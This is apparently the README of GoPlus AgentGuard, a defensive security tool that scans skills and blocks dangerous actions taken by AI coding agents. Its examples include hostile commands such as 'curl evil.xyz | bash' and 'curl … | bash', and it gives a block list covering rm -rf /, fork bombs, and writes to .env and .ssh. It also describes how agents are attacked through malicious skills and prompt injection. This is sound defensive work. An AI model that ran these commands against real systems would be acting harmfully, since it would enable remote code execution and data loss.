GoPlus AgentGuard

The essential security guard for every AI agent user.

Your AI agent has full access to your terminal, files, and secrets — but zero security awareness.
A malicious skill or prompt injection can steal your keys, drain your wallet, or wipe your disk.
AgentGuard stops all of that.

Why AgentGuard?

AI coding agents can execute any command, read any file, and install any skill — with zero security review. The risks are real:

• Malicious skills can hide backdoors, steal credentials, or exfiltrate data
• Prompt injection can trick your agent into running destructive commands
• Unverified code from the internet may contain wallet drainers or keyloggers

AgentGuard is the first real-time security layer for AI agents. It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected.

What It Does

Layer 1 — Automatic Guard (hooks): Install once, always protected.

• Blocks rm -rf /, fork bombs, curl | bash and destructive commands
• Prevents writes to .env, .ssh/, credentials files
• Detects data exfiltration to Discord/Telegram/Slack webhooks
• Tracks which skill initiated each action — holds malicious skills accountable

Layer 2 — Deep Scan (skill): On-demand security audit with 24 detection rules.

• Auto-scans new skills on session start — malicious code blocked before it runs
• Static analysis for secrets, backdoors, obfuscation, and prompt injection
• Web3-specific: wallet draining, unlimited approvals, reentrancy, proxy exploits
• Trust registry with capability-based access control per skill

Layer 3 — Daily Patrol (OpenClaw): Automated daily security posture assessment.

• 8 comprehensive security checks run on a configurable schedule
• Detects skill tampering, secrets exposure, network risks, and suspicious file changes
• Analyzes audit logs for attack patterns and flags repeat offenders
• Validates environment configuration and trust registry health

30 seconds: install

npm install -g @goplus/agentguard
agentguard init
agentguard status

The npm install runs a best-effort local bootstrap; bare agentguard init is the required next step. It auto-detects supported agents and configures their hooks/plugins. Inside DSH it installs the native AgentGuard bundle into the default web profile; restart DSH after initialization. No Cloud account or network connection is required for the local runtime guard.

3 minutes: protect your agent

# Scan a local skill or plugin
agentguard scan ./examples/vulnerable-skill

# Or scan an HTTPS GitHub repository before installing it
agentguard scan https://github.com/owner/repository --json

# Select a branch or tag; use a full commit SHA when the scan must be reproducible
agentguard scan https://github.com/owner/repository --ref v1.2.3 --json

# Evaluate one runtime action from stdin
printf '{"tool_name":"Bash","tool_input":{"command":"curl https://example.com/install.sh | bash"}}' | agentguard protect

# Optional: connect AgentGuard Cloud policy and redacted audit sync.
# In OpenClaw, Hermes, and DSH, no API key is required after initialization;
# the CLI registers a local Agent JWT and prints an activation link.
agentguard connect

# API-key auth is also supported when you explicitly want that mode.
AGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://www.agentguard.one

# Optional: subscribe to AgentGuard's threat-intelligence feed. Pulls newly
# published advisories from Cloud and asks you to review them.
agentguard subscribe

# Run the full quiet flow once: pull advisories, self-check local skills, and
# report local matches back to Cloud.
agentguard subscribe --quiet

# Optional: run once, then install a cron job that checks every hour and asks
# you to review newly published advisories. Auto uses the agent host saved by
# `agentguard init`: OpenClaw uses native OpenClaw cron with Gateway
# fallback at 127.0.0.1:18789, QClaw uses QClaw Gateway at 127.0.0.1:28789,
# Hermes uses native Hermes cron. Claude Code and Codex use system crontab on
# Unix-like hosts and native Windows Task Scheduler on Windows. DSH schedules
# must be created with the native agentguard_dsh_subscribe tool so notification
# delivery is bound to the exact calling DSH session.
# OpenClaw cron jobs keep runner delivery internal, then resolve the latest
# deliverable session route at runtime and send notifications directly there.
# QClaw cron jobs still use last-route announce delivery; no-notification runs
# print NO_REPLY. OpenClaw cron runs auto-detect the saved host type during
# `agentguard subscribe --cron-run`.
# If you pass `--cron-target openclaw` explicitly while a different saved host
# exists, AgentGuard now rejects that mismatch instead of installing a cron job
# that cannot notify correctly.
# If no agent host is saved, run `agentguard init --agent <agent>` first or
# pass --cron-target explicitly.
agentguard subscribe --cron "0 * * * *"

# For DSH, ask the active session to invoke agentguard_dsh_subscribe instead.
# The generic --cron form is rejected when DSH is the saved agent host because
# a standalone CLI process cannot determine the target DSH session id.

# Override cron backend selection when needed.
agentguard subscribe --cron "0 * * * *" --cron-target system
agentguard subscribe --cron "0 * * * *" --cron-target openclaw
agentguard subscribe --cron "0 * * * *" --cron-target qclaw
agentguard subscribe --cron "0 * * * *" --cron-target hermes
agentguard subscribe --cron "0 * * * *" --cron-target windows
# System cron and Windows Task Scheduler write output to
# ~/.agentguard/feed-cron.log. Windows tasks run as the current user and only
# while that user is logged on; no password or SYSTEM account is configured.
# Hermes cron writes a no-agent script under ~/.hermes/scripts/ and requires
# Hermes Gateway for automatic scheduled execution.

# Or install the hourly cron in quiet mode so matches are self-checked and
# reported automatically.
agentguard subscribe --cron "0 * * * *" --quiet

# Replace an existing cron job with the same name
agentguard subscribe --cron "0 * * * *" --force

# Machine-readable output always includes a cron status object:
# cron.requested, cron.installed, and optional cron.result when installation succeeds.
agentguard subscribe --json

# Or run a one-off self-check against a single advisory id
agentguard checkup --against-advisory AGS-2026-0042

# Re-run host setup manually when needed. Bare init auto-detects installed agents.
agentguard init
agentguard init --agent claude-code
agentguard init --agent codex
agentguard init --agent openclaw
agentguard init --agent hermes        # native Hermes plugin (add --shell-hooks for the legacy flow)
agentguard init --agent qclaw
agentguard init --agent dsh           # native bundle in the default web profile; restart DSH

Audit DeepSeek Harness plugins before installation

The Phase 1 DSH scanner understands current dsh.bundle.patch, dsh.profile.bundles, dsh.client, and Cordis configuration structures in addition to JavaScript and TypeScript capabilities.

# Human-readable report
agentguard dsh-scan ./path/to/dsh-plugin

# Machine-readable report from a GitHub repository
agentguard dsh-scan https://github.com/owner/dsh-plugin --format json

# Reproducible report for a release tag, branch, or exact commit
agentguard dsh-scan https://github.com/owner/dsh-plugin --ref v1.2.3 --format json

# Self-contained shareable report page
agentguard dsh-scan ./path/to/dsh-plugin --format html --output report.html

Reports include DSH identification confidence, plugin kind, explainable risk level, permission profile, impact layers, source evidence, structured file-coverage accounting, and an installation recommendation. File-count truncation, oversized matching files, or ordinary read failures produce DSH_SCAN_INCOMPLETE and can never return safe-to-try. See AgentGuard for DSH for the risk model and current limitations.

Install AgentGuard as a native DSH tool plugin, then restart the profile:

dsh plugin --profile web add --allow-build=@goplus/agentguard @goplus/agentguard

DSH will expose the read-only agentguard_dsh_scan tool for scanning local plugin directories and HTTPS GitHub repositories before installation. It also exposes agentguard_dsh_scan_batch for a sequential review queue of up to 10 targets per DSH tool call. The CLI accepts larger JSON manifests of up to 25 targets with agentguard dsh-scan-batch. Use agentguard_dsh_compare or the agentguard dsh-compare CLI command to identify new permissions and runtime risks before updating an approved plugin version. The native agentguard_dsh_subscribe tool binds system-cron threat-feed polling to the current DSH agent. agentguard_dsh_subscription_status reports bounded cron and queue metadata without notice contents, and exact-target agentguard_dsh_unsubscribe removes cron, matching queued notices, then saved state in retry-safe order. Notification-worthy pulls are durably queued across DSH downtime and delivered as a safe ordinary follow-up only to that exact live agent; delivery never automatically executes scans or remediation. Scheduled self-checks also discover DSH user/project skills, immediate profile manifests, declared direct dependencies, and home/profile Cordis patches without recursively walking dependency trees. See the DSH subscription and local testing guide.

Update or remove it from the same profile with dsh plugin --profile web update @goplus/agentguard or dsh plugin --profile web remove @goplus/agentguard. The DSH operations and report guide includes verification and troubleshooting steps.

DSH runtime guard: the packaged composition enables protect mode by default, applying AgentGuard's shared allow/warn/require-approval/block policy before DSH dispatches a tool. Startup logs and the input-redacted agentguard_dsh_runtime_summary tool explicitly show the current configured mode and whether pre-execute enforcement is active. Set runtime.mode: observe only when audit-only shadow evaluation is required. DSH protection uses DSH's native one-shot approval service and monotonic composition with other policies. Optional runtime.postResponseMode: block-malicious suppresses only block-class malicious network results; approval-class post results remain audit-only because DSH has no resumable post-result approval protocol. Exact operator-configured runtime.attribution.toolOwners bindings add source ownership without guessing, and runtime.ownerPolicies can impose per-owner minimum decisions without weakening shared security policy. Unmapped tools remain unknown until DSH exposes a reliable native owner field. See the DSH runtime guide.

The complete candidate scope, activation override, acceptance gates, and intentional boundaries are collected in AgentGuard for DSH complete candidate.

The enforcing adapter maps approval decisions to DSH's native ask contract, emits bounded evidence-free reasons, preserves stronger downstream policies, fails closed on unexpected evaluator errors by default, and is registered whenever protect is configured, including by the packaged default composition.

Native contract gates cover the full pre-execute approval outcome matrix, concurrent and nested calls, failures, unload, and post-execute result containment. Block-class malicious responses can be suppressed explicitly; approval-class post results remain audit-only because DSH currently exposes no native post-approval resume primitive. The complete candidate passed all 11 guided DSH UAT cases, including native approval/rejection, pre-execute blocking, response containment, redaction, and service stability.

The shared runtime detector treats unpinned Git sources executed through npx, npm exec, pnpm dlx, yarn dlx, or bunx as high-risk remote code execution. Full commit pins reduce this to a warning rather than making remote code implicitly trusted.

Phase 1.1 keeps the conservative full-repository risk while adding a separate runtime-surface risk, evidence source categories, likely-generated markers, and a human-review priority. Tests, examples, docs, and data findings remain visible instead of being silently discarded.

Phase 1.2 treats active SKILL.md and agent-instruction files as runtime-relevant, keeps executable source runtime-relevant even under data/ or assets/, distinguishes computed local module loading from remote code execution, and requires concrete credential APIs before reporting keychain access.

Phase 1.3 localizes compound AUTO_UPDATE evidence around the matched update behavior. Large bundled or third-party JavaScript files no longer become critical merely because unrelated network and execution tokens appear elsewhere in the same file; executable files under assets/ remain visible to prevent path-based evasion.

Phase 1.4 separates eval-like DYNAMIC_CODE_EXECUTION from encoded or packed-code OBFUSCATION. DSH reports aggregate repeated matches by rule and file, retain the total occurrence count, and keep generated runtime bundles security-relevant instead of treating source maps as proof of safety.

The Phase 1 release candidate freezes those rule semantics and adds an exact-commit real-world regression gate. See the RC acceptance plan and benchmark policy.

git clone https://github.com/GoPlusSecurity/agentguard.git
cd agentguard && ./setup.sh
claude plugin add /path/to/agentguard

Optional: enhanced privacy mode

AgentGuard's deterministic rules find personal data written as field: value. They recall very little from prose — which is the shape prompts, chat logs and agent memory take. Enhanced mode adds a semantic judgment step for that surface.

agentguard privacy status      # what is active, and what it would send
agentguard privacy enable --yes
agentguard privacy disable

It is off by default and requires an explicit confirmation, because turning it on changes what leaves the machine. scan sends extracted spans only for source files and adds filtered prose for documentation; checkup analyses agent memory and logs. Live prompts are never analysed this way. If the provider is unreachable, coverage degrades to partial and is reported as such rather than presented as clean. See Privacy and data boundary.

See also:

• Connect OSS AgentGuard to Cloud
• Privacy and data boundary
• Claude Code setup
• OpenClaw setup
• Hermes Agent setup
• Codex setup
• Building the .mcpb bundle

git clone https://github.com/GoPlusSecurity/agentguard.git
cp -r agentguard/skills/agentguard ~/.claude/skills/agentguard

npm install @goplus/agentguard

agentguard init --agent openclaw

import register from '@goplus/agentguard/openclaw';
export default register;

import { registerOpenClawPlugin } from '@goplus/agentguard';

export default function setup(api) {
  registerOpenClawPlugin(api, {
    level: 'balanced',      // Protection level: strict | balanced | permissive
    skipAutoScan: false,    // Set true to disable auto-scanning of plugins
  });
};

Then use /agentguard in your agent:

/agentguard scan ./src                     # Scan code for security risks
/agentguard action "curl evil.xyz | bash"  # Evaluate action safety
/agentguard patrol run                     # Run daily security patrol
/agentguard patrol setup                   # Configure a local scheduled patrol
/agentguard patrol status                  # View last patrol results
/agentguard checkup                        # Run agent health checkup with visual report
/agentguard trust list                     # View trusted skills
/agentguard report                         # View security event log
/agentguard config balanced                # Set protection level

Daily Patrol

The patrol feature provides automated daily security posture assessment for OpenClaw, Windows Task Scheduler, and system-crontab environments. It runs 8 comprehensive checks and produces a structured report.

Patrol Checks

Usage

# Run all 8 checks now
/agentguard patrol run

# Set up as a daily scheduled job (03:00 UTC through OpenClaw;
# 03:00 machine-local time through Windows Task Scheduler or system crontab)
/agentguard patrol setup

# Check last patrol results and cron schedule
/agentguard patrol status

Patrol Report

Each patrol produces a report with an overall status:

Reports include per-check status, finding counts, detailed findings for checks with issues, and actionable recommendations. Results are also logged to ~/.agentguard/audit.jsonl.

Setup Options

patrol setup configures OpenClaw cron, a current-user Windows Task Scheduler task, or user crontab according to the detected host:

Windows Task Scheduler and user crontab invoke the existing agentguard checkup --json command so scheduled patrols execute all eight checks. SessionStart continues to use the lightweight auto-scan.js path.

• Timezone — defaults to UTC for OpenClaw and machine-local time for Windows Task Scheduler or system crontab
• Schedule — defaults to 0 3 * * * (daily at 03:00)
• Notifications — optional Telegram, Discord, or Signal alerts

Note: Windows patrol tasks intentionally run only while the creating user is logged on and do not store a password or use SYSTEM privileges.

Agent Health Checkup 🦞

Give your agent a full physical exam! The checkup evaluates your agent's security posture across 6 dimensions and generates a beautiful visual HTML report — complete with a lobster mascot whose appearance reflects your agent's health.

/agentguard checkup

What It Checks

The Lobster Scale

Your agent's health is visualized by a lobster mascot:

The report is a self-contained HTML file that opens automatically in your browser. Dark theme, animated score gauge, expandable findings, and actionable recommendations.

Protection Levels

Detection Rules (24)

Try It

Scan the included vulnerable demo project:

/agentguard scan examples/vulnerable-skill

Expected output: CRITICAL risk level with detection hits across JavaScript, Solidity, and Markdown files.

Compatibility

GoPlus AgentGuard follows the Agent Skills open standard:

Hooks-based auto-guard (Layer 1) works on Claude Code (PreToolUse/PostToolUse), OpenClaw (before_tool_call/after_tool_call), and Hermes Agent (pre_tool_call/post_tool_call shell hooks). These platforms share the same decision engine via a unified adapter abstraction layer.

OpenClaw exclusive: Auto-scans all loaded plugins at registration time, automatically registers them to the trust registry, and supports automated daily security patrols via cron.

Hook Limitations

The auto-guard hooks (Layer 1) have the following constraints:

• Platform-specific: Hooks rely on Claude Code's PreToolUse / PostToolUse events, OpenClaw's before_tool_call / after_tool_call plugin hooks, or Hermes Agent's pre_tool_call / post_tool_call shell hooks. All share the same decision engine via the adapter abstraction layer.
• Default-deny policy: First-time use may trigger confirmation prompts for certain commands. A built-in safe-command allowlist (ls, echo, pwd, git status, etc.) reduces false positives.
• Skill source tracking:
  • Claude Code: Infers which skill initiated an action by analyzing the conversation transcript (heuristic, not 100% precise)
  • OpenClaw: Uses tool→plugin mapping built at registration time (more reliable)
  • Hermes Agent: Uses session/tool metadata when available; most shell-hook payloads do not identify an initiating skill.
• Cannot intercept skill installation itself: Hooks can only intercept tool calls (Bash, Write, WebFetch, etc.) that a skill makes after loading — they cannot block the Skill tool invocation itself.
• OpenClaw auto-scan timing: Plugins are scanned asynchronously after AgentGuard registration completes. Very fast tool calls immediately after startup may execute before scan completes.

Roadmap

v1.1 — Detection Enhancement

• Extend scanner rules to Markdown files (detect malicious SKILL.md)
• Base64 payload decoding and re-scanning
• New rules: TROJAN_DISTRIBUTION, SUSPICIOUS_PASTE_URL, SUSPICIOUS_IP, SOCIAL_ENGINEERING
• Safe-command allowlist to reduce hook false positives
• Plugin manifest (.claude-plugin/) for one-step install

v1.5 — Daily Patrol

• patrol run — 8-check security posture assessment
• patrol setup — OpenClaw cron job configuration with timezone and notifications
• patrol status — Last results and schedule overview
• Skill/plugin integrity verification (hash drift detection)
• Secrets exposure scanning (private keys, mnemonics, AWS keys, GitHub tokens)
• Network exposure and firewall checks
• Audit log pattern analysis (repeat denials, exfiltration attempts)

v1.6 — Agent Health Checkup

• checkup — 6-dimension security health assessment
• Visual HTML report with lobster mascot (4 tiers)
• Animated score gauge, dimension cards, expandable findings
• Scoring algorithm: Code Safety, Trust Hygiene, Runtime Defense, Secret Protection, Web3 Shield, Config Posture
• Premium upgrade CTA integration

v2.0 — Multi-Platform

• OpenClaw gateway plugin integration
• before_tool_call / after_tool_call hook wiring
• Multi-platform adapter abstraction layer (Claude Code + OpenClaw)
• Auto-scan plugins on OpenClaw registration
• Tool→plugin mapping for initiating skill tracking
• Auto-register scanned plugins to trust registry
• OpenAI Codex CLI sandbox adapter
• Federated trust registry across platforms

v3.0 — Ecosystem

• Threat intelligence feed (shared C2 IP/domain blocklist)
• Skill marketplace automated scanning pipeline
• VS Code extension for IDE-native security
• Community rule contributions (open rule format)

OpenClaw Integration

AgentGuard provides deep integration with OpenClaw through automatic plugin scanning, trust management, and daily security patrols.

┌─────────────────────────────────────────────────────────────────┐
│  OpenClaw loads AgentGuard plugin                               │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│  AgentGuard scans all loaded plugins (async, non-blocking)      │
│  • Reads plugin source from registry                            │
│  • Runs 24 static analysis rules                                │
│  • Calculates artifact hash                                     │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│  For each plugin:                                               │
│  • Determine trust level (untrusted/restricted/trusted)         │
│  • Infer capabilities from tools + scan results                 │
│  • Register to AgentGuard trust registry                        │
│  • Map tool names → plugin ID                                   │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│  On every tool call:                                            │
│  • Look up plugin from tool name                                │
│  • Check plugin trust level & capabilities                      │
│  • Evaluate action against security policies                    │
│  • Allow / Deny / Log                                           │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│  Daily patrol (via cron):                                       │
│  • Run 8 security checks against the environment                │
│  • Verify skill integrity, detect secrets, audit logs           │
│  • Generate report (PASS / WARN / FAIL)                         │
│  • Send notifications (Telegram / Discord / Signal)             │
└─────────────────────────────────────────────────────────────────┘

import {
  registerOpenClawPlugin,
  getPluginIdFromTool,
  getPluginScanResult,
} from '@goplus/agentguard';

// Get which plugin registered a tool
const pluginId = getPluginIdFromTool('browser');
// → 'my-browser-plugin'

// Get cached scan result
const scanResult = getPluginScanResult('my-browser-plugin');
// → { riskLevel: 'low', riskTags: [] }

Documentation

• Security Policy — Unified security rules and policies reference
• MCP Server Setup — Run as a Model Context Protocol server
• SDK Usage — Use as a TypeScript/JavaScript library
• Trust Management — Manage skill trust levels and capability presets
• GoPlus API (Web3) — Enhanced Web3 security with GoPlus integration
• Architecture — Project structure and testing

License

MIT

Contributing

Contributions welcome! See CONTRIBUTING.md for guidelines.

Found a security vulnerability? See SECURITY.md.

Built by GoPlus Security.